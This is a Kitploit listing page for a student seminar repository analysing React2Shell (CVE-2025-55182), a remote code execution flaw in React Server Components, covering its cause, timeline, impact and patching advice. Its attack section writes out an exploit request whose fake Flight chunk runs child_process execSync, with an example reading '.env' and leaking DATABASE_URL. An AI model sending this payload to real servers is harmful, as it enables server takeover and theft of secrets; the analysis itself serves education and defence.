Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
tech-seminar-React2Shell — [Notre FISA] Gagnant du séminaire technique - Équipe 3 de la 6ème promotion de développement de services cloud - Analyse et recherche de React2Shell (CVE-2025-55182) | Kitploit
Outils/GitHubGitHub/woorifisa-service-dev-6th/tech-seminar-react2shell
Analyse des VulnérabilitésExploitationExploitation d'Applications WebArticles et RechercheApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubwoorifisa-service-dev-6th/tech-seminar-react2shell

tech-seminar-React2Shell

[Notre FISA] Gagnant du séminaire technique - Équipe 3 de la 6ème promotion de développement de services cloud - Analyse et recherche de React2Shell (CVE-2025-55182)

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
1il y a 6 moisPas encore vérifié

React2Shell (CVE-2025-55182)

우리FISA 기술세미나 6기 - 3팀 React Server Component(RSC)의 설계 결함을 이용한 원격 코드 실행(RCE) 취약점, React2Shell 분석 및 연구

Équipe

Photo de la victoire

MembreRôleGitHub
남인서Recherche documentaire, création de PPT, présentation@sene03
유승준Recherche documentaire, création de PPT, présentation@fluanceifi
이수현Recherche documentaire, création de PPT@hyun793
김유정Recherche documentaire, création de PPT@yujung23

Table des matières (Contents)

  1. Aperçu : Qu'est-ce que React2Shell ?
  2. Mécanisme d'attaque de React2Shell
  3. Impact de React2Shell
  4. Responsabilité de sécurité côté frontend

01. Aperçu : Qu'est-ce que React2Shell ?

React2Shell(CVE-2025-55182) est une vulnérabilité de sécurité critique découverte dans le processus de communication du Flight Protocol utilisé par le React Server Component (RSC).

  • Problème clé : L'attaquant peut exécuter des commandes internes du serveur avec une seule requête HTTP sans authentification.
  • Sévérité : CVSS Score 10.0
  • Cause : Prototype Pollution lors de la désérialisation de données non fiables.

Défauts de conception du Flight Protocol

Pour traiter les composants, React utilise le Flight Protocol qui prend en charge des types complexes tels que Promise, Blob, Map en plus des chaînes et des tableaux.

ExpressionTypeDescription
$$$ échappéChaîne littérale commençant par $
$@Promise/ChunkRéférence d'ID de chunk

L'attaquant exploite les vulnérabilités de ce traitement de flux de protocole pour injecter des scripts malveillants et prendre le contrôle du serveur.

Chronologie

  • 2025.11.29 : Premier signalement via le Meta Bug Bounty
  • 2025.11.30 : Confirmation par l'équipe de sécurité et début de la collaboration avec l'équipe React
  • 2025.12.01 : Développement du correctif et validation par les partenaires (Vercel, etc.)
  • 2025.12.03 : Déploiement du correctif et publication du CVE

02. Mécanisme d'attaque de React2Shell

  • La méthode d'attaque la plus courante consiste à exploiter le système de référence du React Flight Protocol sans condition préalable.
  • L'attaque se déroule en trois étapes : Installation de la bombe (envoi de la charge utile) → Allumage (désérialisation) → Explosion (exécution RCE).

1) Installation de la bombe

L'attaquant envoie des données JSON au serveur via une requête contenant les en-têtes Next-Action et multipart/form-data. Le corps de la requête contient un faux bloc (Fake Chunk) déguisé en objet Promise.

root@kitploit:~
POST / HTTP/1.1
Host: localhost: 3000

[... 기타 헤더 생략 ...]

Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="0"
{"then": "$1: __proto__: then", "status": "resolved_model" , "reason": -1, "value": "{\"then\": \"$B0\"}" , "_response":
f"_prefix": "var res = process mainModule.require('child_process'). execSync('실행할 명령어',
{'timeout': 5000}). toString(). trim(); throw Object.assign(new Error( 'NEXT_REDIRECT'), {digest: ${res} });" {"get":"$1: constructor: constructor"}}}

------WebkitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="1"
"$@0"

------WebKitFormBoundary7MA4YWxkTrZu0gW--
'_formData":

2) Allumage

root@kitploit:~
// 공격자가 전송한 가짜 청크 예시
{
	"then" : "$1:__proto__:then"
	"status" : "resolved_model",
	"reason" : -1,
	"value" : "{\"then\":\"$B0\"}",
	"_response" : {
		"_prefix": "execSync('cat .env'); //",
		"_formData":{"get": "$1:constructor:constructor"}
	}
}
  1. Le then du faux bloc envoyé par l'attaquant est mappé à Chunk.prototype.then.
  2. Lors de la désérialisation des données Blob, le code malveillant contenu dans _prefix est passé comme argument à Function.
  3. Lorsque la fonction générée est appelée comme thenable d'une Promise, le code arbitraire placé par l'attaquant est exécuté sur le serveur.

3) Explosion

root@kitploit:~
// POST 요청에 대한 응답 예시
500
0:{"a":"$@1","f":"","b":"sDAZnkg0U4tReIQ4vYjJS"}
1:E{"digest":**"DATABASE_URL='...'"**}

Cause fondamentale

root@kitploit:~
// ReactFlightReplyServer.js - getOutlinedModel() 
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];  // 여기서 hasOwnProperty check가 누락됨!
}
  • Lors de l'interprétation d'une référence de la forme $1:path:to:value, React divise la chaîne au niveau des deux-points (:) pour parcourir l'objet.
  • Dans ce processus, l'interprétation de $1:__proto__:then permet d'accéder au prototype du chunk et au then de cet objet (Chunk.prototype.then).
  • Finalement, le faux bloc envoyé par l'attaquant acquiert le then du vrai bloc, ce qui exécute le code prévu par l'attaquant.

03. Impact de React2Shell

Cette vulnérabilité a provoqué une onde de choc dans tout l'écosystème web moderne.

  • Atteinte à la fiabilité des composants serveur : Déclenchement du débat : « Un framework frontend doit-il aussi assumer la sécurité du serveur ? »
  • Urgence des plateformes d'hébergement : Correctifs de sécurité d'urgence déployés par les principaux fournisseurs PaaS supportant RSC, tels que Vercel, Netlify, etc.

04. Responsabilité de sécurité côté frontend

L'incident React2Shell a laissé une leçon : « Les développeurs frontend doivent aussi comprendre la sécurité serveur. »

Mesures de réponse

1. Mettre à jour immédiatement les packages liés à React

Mettre à jour immédiatement les packages concernés tels que react-server-dom-webpack vers la dernière version (19.0.1+ etc.)

2. Vérifier les correctifs du framework

Les frameworks intégrant RSC comme Next.js ne sont pas résolus par une simple mise à jour de React ; il est nécessaire de consulter les notes de version de sécurité du framework lui-même et d'effectuer une mise à niveau vers la version la plus récente.

3. Surveillance

Utiliser un système de surveillance comme Grafana et le connecter à des canaux d'alerte (email, Slack, etc.) pour pouvoir prendre des mesures immédiates.

Avec l'expansion du domaine du frontend grâce aux avancées technologiques, il faut reconnaître que l'étendue de la responsabilité en matière de sécurité s'est également élargie.


Références

React Official Patch

React2Shell : Guide d'analyse complet de la vulnérabilité CVE-2025-55182

Analyse des vulnérabilités des composants serveur React et des chemins de pénétration système

PoC : Code de preuve de concept de la vulnérabilité

Télécharger l’outil